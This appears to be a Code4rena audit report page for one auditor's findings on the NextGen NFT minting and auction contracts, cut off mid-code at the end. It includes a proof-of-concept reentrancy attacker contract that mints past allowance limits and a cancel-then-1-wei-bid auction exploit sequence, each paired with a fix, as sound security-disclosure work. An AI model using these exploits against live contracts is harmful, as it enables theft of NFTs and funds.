Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 68/243
Findings: 5
Award: $74.39
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: btk
Also found by: 00xSEV, 0x175, 0x180db, 0x3b, 0xAlix2, 0xJuda, 0xpiken, 0xraion, 3th, 836541, Al-Qa-qa, AvantGard, Aymen0909, Beosin, ChrisTina, DarkTower, DeFiHackLabs, EricWWFCP, Kose, Kow, KupiaSec, MrPotatoMagic, Neo_Granicen, PENGUN, PetarTolev, Ruhum, Soul22, SovaSlava, SpicyMeatball, Talfao, The_Kakers, Toshii, Tricko, VAD37, Viktor_Cortess, ZdravkoHr, _eperezok, alexxander, audityourcontracts, ayden, bird-flu, bronze_pickaxe, codynhat, critical-or-high, danielles0xG, degensec, droptpackets, evmboi32, fibonacci, flacko, gumgumzum, ilchovski, immeas, innertia, jacopod, joesan, ke1caM, kk_krish, mojito_auditor, nuthan2x, phoenixV110, pontifex, r0ck3tz, sces60107, seeques, sl1, smiling_heretic, stackachu, t0x1c, trachev, turvy_fuzz, ubl4nk, ustas, xAriextz, xuwinnie, y4y
0.152 USDC - $0.15
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L196-L254 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L189-L200 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L227-L232
A user can reenter
the mint function during the public
or allowlist
mint phases and mint as many tokens
as he wants.
We will look at the public
sale but the same works for the allowlist
phase. A user starts with 0 tokens
when he first calls the mint
function during the public mint phase.
function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public payable { require(setMintingCosts[_collectionID] == true, "Set Minting Costs"); uint256 col = _collectionID; address mintingAddress; uint256 phase; string memory tokData = _tokenData; if (block.timestamp >= collectionPhases[col].allowlistStartTime && block.timestamp <= collectionPhases[col].allowlistEndTime) { ... } else if (block.timestamp >= collectionPhases[col].publicStartTime && block.timestamp <= collectionPhases[col].publicEndTime) { phase = 2; require(_numberOfTokens <= gencore.viewMaxAllowance(col), "Change no of tokens"); require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= gencore.viewMaxAllowance(col), "Max"); mintingAddress = msg.sender; tokData = '"public"'; } else { revert("No minting"); } uint256 collectionTokenMintIndex; collectionTokenMintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col) + _numberOfTokens - 1; require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(col), "No supply"); require(msg.value >= (getPrice(col) * _numberOfTokens), "Wrong ETH"); for(uint256 i = 0; i < _numberOfTokens; i++) { uint256 mintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col); gencore.mint(mintIndex, mintingAddress, _mintTo, tokData, _saltfun_o, col, phase); } collectionTotalAmount[col] = collectionTotalAmount[col] + msg.value; // control mechanism for sale option 3 if (collectionPhases[col].salesOption == 3) { ... } }
The function will check if enough msg.value
was provided and if mintIndex
is not out of range. After that, it calls the mint on the gencore
contract.
function mint( uint256 mintIndex, address _mintingAddress, address _mintTo, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint256 phase ) external { require(msg.sender == minterContract, "Caller is not the Minter Contract"); collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1; if ( collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply ) { _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o); if (phase == 1) { tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1; } else { tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1; } } }
This checks that the total supply has not been surpassed and calls the internal _mintProcessing
where the actual minting happens. Notice that the amount of tokens the user minted during the public sale increases only AFTER
the minting is done. This calls for reentrancy
.
function _mintProcessing( uint256 _mintIndex, address _recipient, string memory _tokenData, uint256 _collectionID, uint256 _saltfun_o ) internal { tokenData[_mintIndex] = _tokenData; collectionAdditionalData[_collectionID].randomizer.calculateTokenHash(_collectionID, _mintIndex, _saltfun_o); tokenIdsToCollectionIds[_mintIndex] = _collectionID; _safeMint(_recipient, _mintIndex); }
As the _mintProcessing
mints the tokens using the _safeMint
and increases the tokens the user bought in a public sale only after this call this allows for reentrancy.
The malicious contract
could look something like this
contract Malicious{ address public minterContract; uint256 public count = 0; function onERC721Received(address, address, uint256, bytes memory) public returns (bytes4) { // reenter 3 times if(count <= 2){ count++; this.mintTokens(minterContract); } return this.onERC721Received.selector; } function mintTokens(address _minterContract) external { minterContract = _minterContract; IMinterContract(_minterContract).mint( 0, // _collectionID 3, // _numberOfTokens 0, // _maxAllowance - not used "0x", // _tokenData - whatever address(this), // _mintTo new bytes32[](0), // merkleProof - not used address(this), // _delegator - not used 0 // _saltfun_o - whaetever ); } }
The attacker first calls mintTokens
function passing the address of the minter
. Then after each mint, the onERC721Received
function will be called where he can reenter the mint function on the minterContract
as many times as he wants (bounded by gas). This example shows that he reenters the mint function 3 times
so he ends up with a total of 12 tokens
(3 reentrancies * 3 tokens
and 1 normal call * 3 tokens
). The same can be done during the ALLOW LIST SALE
. (let's assume the max number of tokens you can mint during a sale is 3, set in the POC provided below)
Practical POC provided on this gist: https://gist.github.com/evmboi32/ef3f44f1242d08779e081f30c83be49f (The contracts have been stripped of code down to the only parts that are needed for easier understanding)
nextGenPOC
contracts
and test
folders..sol
files into the contracts
folderMint.js
to the test
folderhardhat.config.js
to the root nextGenPOC
foldernextGenPOC
folder run the next three commandsnpm install --save-dev hardhat npm install @nomicfoundation/hardhat-toolbox npm install @openzeppelin/contracts
npx hardhat test
VS Code
Make sure to first increase the number of tokens minted and only then call the _mintProcessing
function. Also, use the nonRentrant
modifier from openzeppelin
on the function just to be 100% sure.
function mint( uint256 mintIndex, address _mintingAddress, address _mintTo, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint256 phase ) external { require(msg.sender == minterContract, "Caller is not the Minter Contract"); collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1; if ( collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply ) { if (phase == 1) { tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1; } else { tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1; } // This was placed below the token amount increase _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o); } }
Reentrancy
#0 - c4-pre-sort
2023-11-19T13:34:10Z
141345 marked the issue as duplicate of #51
#1 - c4-pre-sort
2023-11-26T13:59:51Z
141345 marked the issue as duplicate of #1742
#2 - c4-judge
2023-12-08T16:38:20Z
alex-ppg marked the issue as satisfactory
#3 - c4-judge
2023-12-08T16:40:30Z
alex-ppg marked the issue as partial-50
#4 - c4-judge
2023-12-08T19:17:24Z
alex-ppg marked the issue as satisfactory
🌟 Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L124-L143 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104-L120 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L57-L61
A user can always buy NFTs from an auction for as little as 1 wei
.
Let's consider the following scenario:
Alice
backruns
a tx with a call to participateToAuction
for that token and bids 1 ETH
from her custom contract. Let's assume the NFT is worth 1 ETH
.exact amount
the NFT is worth we can assume no one else is going to bid as it makes no sense but to lose money. She will remain the highest bidder
.block.timestamp == minter.getAuctionEndTime(_tokenid)
(she takes a risk of a block being mined later than minter.getAuctionEndTime(_tokenid)
)block.timestamp == minter.getAuctionEndTime(_tokenid)
) she can do the following 3 calls in a single function call using her custom contract.cancelBid(tokenId, aliceBidIndex); // get her 1 ETH back participateToAuction{value: 1}(tokenId); // she bids 1 wei claimAuction(tokenId); // she can claim an NFT as she remains the highest bidder
block.timestamp == minter.getAuctionEndTime(_tokenid)
function cancelBid(uint256 _tokenid, uint256 index) public { require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended"); ... }
function participateToAuction(uint256 _tokenid) public payable { require( msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true ); ... }
function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid, this.claimAuction.selector) { require( block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false ... }
worst case
the block can be mined after the end time and she gets NFT for 1 ETH
and then sells it for a minor loss. But using this approach many times she can succeed
as profits outweigh the losses.VS Code
First, consider making the check in a claimAuction
function more strict
that it can only be claimed after
the auction has ended
.
require( block.timestamp > minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true );
Second of all the idea of canceling bids is very bad as it allows for a behaviour like just mentioned above. Good practice is to create a refund for the highest bidder
as soon as the auction gets a higher bid
. Remove the function to cancelBid
and implement something like this where the bidder can claim a refund in case they get outbid. This will prevent attacks when canceling the bids last minute. Note that directly refunding the highestBidder
in the participateToAuction
can cause DOS
.
//These 2 are storage variables + auctionInfoStru public highestBidder; + mapping(address => uint256) public refunds; function participateToAuction(uint256 _tokenid) public payable { require( msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true ); auctionInfoStru memory newBid = auctionInfoStru(msg.sender, msg.value, true); auctionInfoData[_tokenid].push(newBid); + // add refund + refunds[highestBidder.bidder] += highestBidder.bid; + + // set new highest bidder + highestBidder.bidder = msg.sender; + highestBidder.bid = msg.value; } + + function claimRefund() external { + uint256 amount = refunds[msg.sender]; + require(amount > 0, "no pending refunds"); + + delete refunds[msg.sender]; + + (bool success, ) = msg.sender.call{value: amount}(""); + require(success, "failed to refund"); + }
MEV
#0 - c4-pre-sort
2023-11-15T10:39:38Z
141345 marked the issue as duplicate of #962
#1 - c4-judge
2023-12-02T15:13:17Z
alex-ppg marked the issue as not a duplicate
#2 - c4-judge
2023-12-02T15:17:01Z
alex-ppg marked the issue as duplicate of #1784
#3 - c4-judge
2023-12-07T11:49:35Z
alex-ppg marked the issue as duplicate of #1323
#4 - c4-judge
2023-12-08T17:27:09Z
alex-ppg marked the issue as partial-50
#5 - c4-judge
2023-12-08T17:28:21Z
alex-ppg marked the issue as satisfactory
#6 - c4-judge
2023-12-08T18:23:33Z
alex-ppg marked the issue as partial-50
35.614 USDC - $35.61
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L221-L227 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L540-L564
If a user buys a token at block.timestamp == collectionPhases[_collectionId].publicEndTime
and the salesOption = 2
, the user will pay the original maximum price
instead of the discounted price.
As we can see public mint (phase = 2) is still allowed at block.timestamp == collectionPhases[_collectionId].publicEndTime
function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public payable { ... if (block.timestamp >= collectionPhases[col].allowlistStartTime && block.timestamp <= collectionPhases[col].allowlistEndTime) { ... } else if (block.timestamp >= collectionPhases[col].publicStartTime && block.timestamp <= collectionPhases[col].publicEndTime) { phase = 2; ... } else { revert("No minting"); } ... require(msg.value >= (getPrice(col) * _numberOfTokens), "Wrong ETH"); ... }
Assuming this function is called at block.timestamp == collectionPhases[_collectionId].publicEndTime
let's take a look what the getPrice
function returns. We would expect it to return a decreased price in case of salesOption = 2
function getPrice(uint256 _collectionId) public view returns (uint256) { uint tDiff; if (collectionPhases[_collectionId].salesOption == 3) { ... } else if (collectionPhases[_collectionId].salesOption == 2 && block.timestamp > collectionPhases[_collectionId].allowlistStartTime && block.timestamp < collectionPhases[_collectionId].publicEndTime){ // decreases exponentially every time period // collectionPhases[_collectionId].timePeriod sets the time period for decreasing the mintcost // if just public mint set the publicStartTime = allowlistStartTime // if rate = 0 exponetialy decrease // if rate is set the linear decrase each period per rate tDiff = (block.timestamp - collectionPhases[_collectionId].allowlistStartTime) / collectionPhases[_collectionId].timePeriod; uint256 price; uint256 decreaserate; if (collectionPhases[_collectionId].rate == 0) { price = collectionPhases[_collectionId].collectionMintCost / (tDiff + 1); decreaserate = ((price - (collectionPhases[_collectionId].collectionMintCost / (tDiff + 2))) / collectionPhases[_collectionId].timePeriod) * ((block.timestamp - (tDiff * collectionPhases[_collectionId].timePeriod) - collectionPhases[_collectionId].allowlistStartTime)); } else { if (((collectionPhases[_collectionId].collectionMintCost - collectionPhases[_collectionId].collectionEndMintCost) / (collectionPhases[_collectionId].rate)) > tDiff) { price = collectionPhases[_collectionId].collectionMintCost - (tDiff * collectionPhases[_collectionId].rate); } else { price = collectionPhases[_collectionId].collectionEndMintCost; } } if (price - decreaserate > collectionPhases[_collectionId].collectionEndMintCost) { return price - decreaserate; } else { return collectionPhases[_collectionId].collectionEndMintCost; } } else { // fixed price return collectionPhases[_collectionId].collectionMintCost; } }
There is a check
else if (collectionPhases[_collectionId].salesOption == 2 && block.timestamp > collectionPhases[_collectionId].allowlistStartTime && block.timestamp < collectionPhases[_collectionId].publicEndTime)
which will not pass because the check is block.timestamp < collectionPhases[_collectionId].publicEndTime
instead of block.timestamp <= collectionPhases[_collectionId].publicEndTime
This will cause the last block, the else
block to be executed and will return the starting price of the mint. This is considered valid if the user provides msg.value >= collectionPhases[_collectionId].collectionMintCost
. If the user provides less than that he will be denied a mint although he is still on time and provided enough ETH (assuming he provides enough ETH for the discounted price).
VS Code
Change the else if
check to
else if (collectionPhases[_collectionId].salesOption == 2 && block.timestamp > collectionPhases[_collectionId].allowlistStartTime && block.timestamp <= collectionPhases[_collectionId].publicEndTime)
Timing
#0 - c4-pre-sort
2023-11-16T01:42:58Z
141345 marked the issue as duplicate of #1391
#1 - c4-judge
2023-12-08T21:48:12Z
alex-ppg marked the issue as partial-50
🌟 Selected for report: bird-flu
Also found by: 00decree, 0xAadi, AS, Audinarey, DeFiHackLabs, Eigenvectors, Fitro, Hama, Kaysoft, Krace, REKCAH, SovaSlava, The_Kakers, Viktor_Cortess, cartlex_, degensec, devival, evmboi32, funkornaut, jacopod, openwide, peanuts, rotcivegaf, smiling_heretic, xAriextz, xiao
25.2356 USDC - $25.24
The owner of a token will not receive proceeds from the auction.
The proceeds from the auction are sent to the owner of the AuctionDemo
contract. Instead of the owner of the token.
function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ ... for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) { if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) { IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); (bool success, ) = payable(owner()).call{value: highestBid}(""); emit ClaimAuction(owner(), _tokenid, success, highestBid); } else if (auctionInfoData[_tokenid][i].status == true) { ... } else {} } }
Vs Code
Transfer the proceeds from the auction to the owner of an NFT. If any fees should be applied, apply them here and send highestBid - fees
to the owner of the token.
ETH-Transfer
#0 - c4-pre-sort
2023-11-19T13:37:35Z
141345 marked the issue as duplicate of #245
#1 - c4-judge
2023-12-08T22:28:55Z
alex-ppg marked the issue as satisfactory
#2 - c4-judge
2023-12-09T00:22:20Z
alex-ppg changed the severity to 2 (Med Risk)
🌟 Selected for report: The_Kakers
Also found by: 00xSEV, 0x3b, Arabadzhiev, DeFiHackLabs, Fulum, Madalad, MrPotatoMagic, SpicyMeatball, Tadev, ZanyBonzy, ZdravkoHr, alexfilippov314, audityourcontracts, cheatc0d3, devival, dy, evmboi32, immeas, lsaudit, mrudenko, oakcobalt, oualidpro, pipidu83, r0ck3tz, rishabh, rotcivegaf, tpiliposian, xAriextz
13.3948 USDC - $13.39
_mintProcessing
function _mintProcessing( uint256 _mintIndex, address _recipient, string memory _tokenData, uint256 _collectionID, uint256 _saltfun_o ) internal { + require(tokenData[_mintIndex] == "", "Already used!"); tokenData[_mintIndex] = _tokenData; collectionAdditionalData[_collectionID].randomizer.calculateTokenHash(_collectionID, _mintIndex, _saltfun_o); tokenIdsToCollectionIds[_mintIndex] = _collectionID; _safeMint(_recipient, _mintIndex); }
function airDropTokens( ... uint256 _saltfun_o, ... )
function mint( ... uint256 _saltfun_o, ... )
function burnToMint( ... uint256 _saltfun_o, ... )
function _mintProcessing( ... uint256 _saltfun_o )
function airDropTokens( ... uint256[] memory _saltfun_o, ... )
function mint( ... uint256 _saltfun_o )
function burnToMint(uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, uint256 _saltfun_o)
function mintAndAuction( ... uint256 _saltfun_o, ... )
function burnOrSwapExternalToMint( ... uint256 _saltfun_o )
function updateCollectionInfo( uint256 _collectionID, string memory _newCollectionName, string memory _newCollectionArtist, string memory _newCollectionDescription, string memory _newCollectionWebsite, string memory _newCollectionLicense, string memory _newCollectionBaseURI, string memory _newCollectionLibrary, uint256 _index, string[] memory _newCollectionScript ) public CollectionAdminRequired(_collectionID, this.updateCollectionInfo.selector) { require( (isCollectionCreated[_collectionID] == true) && (collectionFreeze[_cauollectionID] == false), "Not allowed" ); if (_index == 1000) { collectionInfo[_collectionID].collectionName = _newCollectionName; collectionInfo[_collectionID].collectionArtist = _newCollectionArtist; collectionInfo[_collectionID].collectionDescription = _newCollectionDescription; collectionInfo[_collectionID].collectionWebsite = _newCollectionWebsite; collectionInfo[_collectionID].collectionLicense = _newCollectionLicense; collectionInfo[_collectionID].collectionLibrary = _newCollectionLibrary; collectionInfo[_collectionID].collectionScript = _newCollectionScript; } else if (_index == 999) { collectionInfo[_collectionID].collectionBaseURI = _newCollectionBaseURI; } else { collectionInfo[_collectionID].collectionScript[_index] = _newCollectionScript[0]; } }
Consider adding a parameter that indicates which part of the config is being changed.
constructor(address _gencore, address _adminsContract, address _arRNG) ArrngConsumer(_arRNG) { gencore = _gencore; gencoreContract = INextGenCore(_gencore); adminsContract = INextGenAdmins(_adminsContract); }
constructor(uint64 subscriptionId, address vrfCoordinator, address _gencore, address _adminsContract) VRFConsumerBaseV2(vrfCoordinator) { COORDINATOR = VRFCoordinatorV2Interface(vrfCoordinator); s_subscriptionId = subscriptionId; gencore = _gencore; gencoreContract = INextGenCore(_gencore); adminsContract = INextGenAdmins(_adminsContract); }
constructor(address _randoms, address _admin, address _gencore) { randoms = IXRandoms(_randoms); adminsContract = INextGenAdmins(_admin); gencore = _gencore; gencoreContract = INextGenCore(_gencore); }
Consider only using gencoreContract = INextGenCore(_gencore);
and just using address(gencoreContract)
whenever you need the address.
setCollectionCosts
function setCollectionCosts( uint256 _collectionID, uint256 _collectionMintCost, uint256 _collectionEndMintCost, uint256 _rate, uint256 _timePeriod, uint8 _salesOption, address _delAddress ) public CollectionAdminRequired(_collectionID, this.setCollectionCosts.selector) { require(gencore.retrievewereDataAdded(_collectionID) == true, "Add data"); + require(_timePeriod > 0, "time period 0"); + require(_salesOption >= 1 && _salesOption <=3, "_salesOption out of bounds."); collectionPhases[_collectionID].collectionMintCost = _collectionMintCost; collectionPhases[_collectionID].collectionEndMintCost = _collectionEndMintCost; collectionPhases[_collectionID].rate = _rate; collectionPhases[_collectionID].timePeriod = _timePeriod; collectionPhases[_collectionID].salesOption = _salesOption; collectionPhases[_collectionID].delAddress = _delAddress; setMintingCosts[_collectionID] = true; }
setCollectionPhases
function setCollectionPhases( uint256 _collectionID, uint256 _allowlistStartTime, uint256 _allowlistEndTime, uint256 _publicStartTime, uint256 _publicEndTime, bytes32 _merkleRoot ) public CollectionAdminRequired(_collectionID, this.setCollectionPhases.selector) { require(setMintingCosts[_collectionID] == true, "Set Minting Costs"); require(block.timestamp > _allowlistStartTime, "already started"); require(_allowlistEndTime > _allowlistStartTime, "cannot end before start"); require(_publicStartTime > _allowlistEndTime, "cannot start before end of AL"); require(_publicEndTime > _publicStartTime, "cannot end before start"); collectionPhases[_collectionID].allowlistStartTime = _allowlistStartTime; collectionPhases[_collectionID].allowlistEndTime = _allowlistEndTime; collectionPhases[_collectionID].merkleRoot = _merkleRoot; collectionPhases[_collectionID].publicStartTime = _publicStartTime; collectionPhases[_collectionID].publicEndTime = _publicEndTime; }
airDropTokens
function airDropTokens( address[] memory _recipients, string[] memory _tokenData, uint256[] memory _saltfun_o, uint256 _collectionID, uint256[] memory _numberOfTokens ) public FunctionAdminRequired(this.airDropTokens.selector) { require(gencore.retrievewereDataAdded(_collectionID) == true, "Add data"); uint256 collectionTokenMintIndex; for (uint256 y = 0; y < _recipients.length; y++) { collectionTokenMintIndex = gencore.viewTokensIndexMin(_collectionID) + gencore.viewCirSupply(_collectionID) + _numberOfTokens[y] - 1; require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(_collectionID), "No supply"); for (uint256 i = 0; i < _numberOfTokens[y]; i++) { uint256 mintIndex = gencore.viewTokensIndexMin(_collectionID) + gencore.viewCirSupply(_collectionID); gencore.airDropTokens(mintIndex, _recipients[y], _tokenData[y], _saltfun_o[y], _collectionID); } } }
Docs say that @param _tokenData[] Refers to the additional token data that are stored on-chain for each airdropped token.
The function is using _tokenData[y]
which will make the tokenData
the same for all tokens the recipients receive. It should be using _tokenData[i]
(the index of the internal loop instead of the outer loop) to have different data for each token.
While minting the magic numbers are used for phases
function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public payable { ... uint256 phase; ... if (block.timestamp >= collectionPhases[col].allowlistStartTime && block.timestamp <= collectionPhases[col].allowlistEndTime) { phase = 1; ... } else if (block.timestamp >= collectionPhases[col].publicStartTime && block.timestamp <= collectionPhases[col].publicEndTime) { phase = 2; ... } ... if (collectionPhases[col].salesOption == 3) { ... } }
It can be very difficult to understand what phase = 1 means and so on. Consider implementing ENUM for example:
enum Phase{ ALLOWLIST, PUBLIC }
and then setting phases like
phase = Phase.PUBLIC;
it offers better readability. Consider doing the same for the salesOption
burnToMint
function burnToMint(uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, uint256 _saltfun_o) public payable { require(_burnCollectionID != _mintCollectionID, "cannot mint to the same colleciton"); require(burnToMintCollections[_burnCollectionID][_mintCollectionID] == true, "Initialize burn"); ... }
proposePrimaryAddressesAndPercentages
_primaryAdd1
, _primaryAdd2
and _primaryAdd3
can be the same. If it's not intended to be this way check that they are different using a require statement.
function proposePrimaryAddressesAndPercentages( uint256 _collectionID, address _primaryAdd1, address _primaryAdd2, address _primaryAdd3, uint256 _add1Percentage, uint256 _add2Percentage, uint256 _add3Percentage ) public ArtistOrAdminRequired(_collectionID, this.proposePrimaryAddressesAndPercentages.selector) { require(collectionArtistPrimaryAddresses[_collectionID].status == false, "Already approved"); require( _add1Percentage + _add2Percentage + _add3Percentage == collectionRoyaltiesPrimarySplits[_collectionID].artistPercentage, "Check %" ); collectionArtistPrimaryAddresses[_collectionID].primaryAdd1 = _primaryAdd1; collectionArtistPrimaryAddresses[_collectionID].primaryAdd2 = _primaryAdd2; collectionArtistPrimaryAddresses[_collectionID].primaryAdd3 = _primaryAdd3; collectionArtistPrimaryAddresses[_collectionID].add1Percentage = _add1Percentage; collectionArtistPrimaryAddresses[_collectionID].add2Percentage = _add2Percentage; collectionArtistPrimaryAddresses[_collectionID].add3Percentage = _add3Percentage; collectionArtistPrimaryAddresses[_collectionID].status = false; }
address(0)
in emergencyWithdraw
function emergencyWithdraw() public FunctionAdminRequired(this.emergencyWithdraw.selector) { uint256 balance = address(this).balance; address admin = adminsContract.owner(); + require(admin != address(0), "sending to address(0)"); (bool success,) = payable(admin).call{value: balance}(""); emit Withdraw(msg.sender, success, balance); }
artistPercentage
and teamPercentage
are represented from 0 to 100
. Consider representing 100% from 0 to 10_000
to add more precision on splits
Maybe consider adding a MIN_DURATION
and MAX_DURATION
also.
function mintAndAuction( address _recipient, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint256 _auctionEndTime ) public FunctionAdminRequired(this.mintAndAuction.selector) { require(gencore.retrievewereDataAdded(_collectionID) == true, "Add data"); + require(_auctionEndTime > block.timestamp); ... }
_burnCollectionID
in the initializeExternalBurnOrSwap
and burnOrSwapExternalToMint
serves no purposefunction initializeExternalBurnOrSwap( address _erc721Collection, uint256 _burnCollectionID, uint256 _mintCollectionID, uint256 _tokmin, uint256 _tokmax, address _burnOrSwapAddress, bool _status ) public FunctionAdminRequired(this.initializeExternalBurnOrSwap.selector) { bytes32 externalCol = keccak256(abi.encodePacked(_erc721Collection, _burnCollectionID)); require((gencore.retrievewereDataAdded(_mintCollectionID) == true), "No data"); burnExternalToMintCollections[externalCol][_mintCollectionID] = _status; burnOrSwapAddress[externalCol] = _burnOrSwapAddress; burnOrSwapIds[externalCol][0] = _tokmin; burnOrSwapIds[externalCol][1] = _tokmax; } function burnOrSwapExternalToMint( address _erc721Collection, uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, string memory _tokenData, bytes32[] calldata merkleProof, uint256 _saltfun_o ) public payable { bytes32 externalCol = keccak256(abi.encodePacked(_erc721Collection, _burnCollectionID)); require(burnExternalToMintCollections[externalCol][_mintCollectionID] == true, "Initialize external burn"); require(setMintingCosts[_mintCollectionID] == true, "Set Minting Costs"); address ownerOfToken = IERC721(_erc721Collection).ownerOf(_tokenId); if (msg.sender != ownerOfToken) { bool isAllowedToMint; isAllowedToMint = dmc.retrieveGlobalStatusOfDelegation( ownerOfToken, 0x8888888888888888888888888888888888888888, msg.sender, 1 ) || dmc.retrieveGlobalStatusOfDelegation( ownerOfToken, 0x8888888888888888888888888888888888888888, msg.sender, 2 ); if (isAllowedToMint == false) { isAllowedToMint = dmc.retrieveGlobalStatusOfDelegation(ownerOfToken, _erc721Collection, msg.sender, 1) || dmc.retrieveGlobalStatusOfDelegation(ownerOfToken, _erc721Collection, msg.sender, 2); } require(isAllowedToMint == true, "No delegation"); } require( _tokenId >= burnOrSwapIds[externalCol][0] && _tokenId <= burnOrSwapIds[externalCol][1], "Token id does not match" ); IERC721(_erc721Collection).safeTransferFrom(ownerOfToken, burnOrSwapAddress[externalCol], _tokenId); uint256 col = _mintCollectionID; address mintingAddress; uint256 phase; string memory tokData = _tokenData; if ( block.timestamp >= collectionPhases[col].allowlistStartTime && block.timestamp <= collectionPhases[col].allowlistEndTime ) { phase = 1; bytes32 node; node = keccak256(abi.encodePacked(_tokenId, tokData)); mintingAddress = ownerOfToken; require(MerkleProof.verifyCalldata(merkleProof, collectionPhases[col].merkleRoot, node), "invalid proof"); } else if ( block.timestamp >= collectionPhases[col].publicStartTime && block.timestamp <= collectionPhases[col].publicEndTime ) { phase = 2; mintingAddress = ownerOfToken; tokData = '"public"'; } else { revert("No minting"); } uint256 collectionTokenMintIndex; collectionTokenMintIndex = 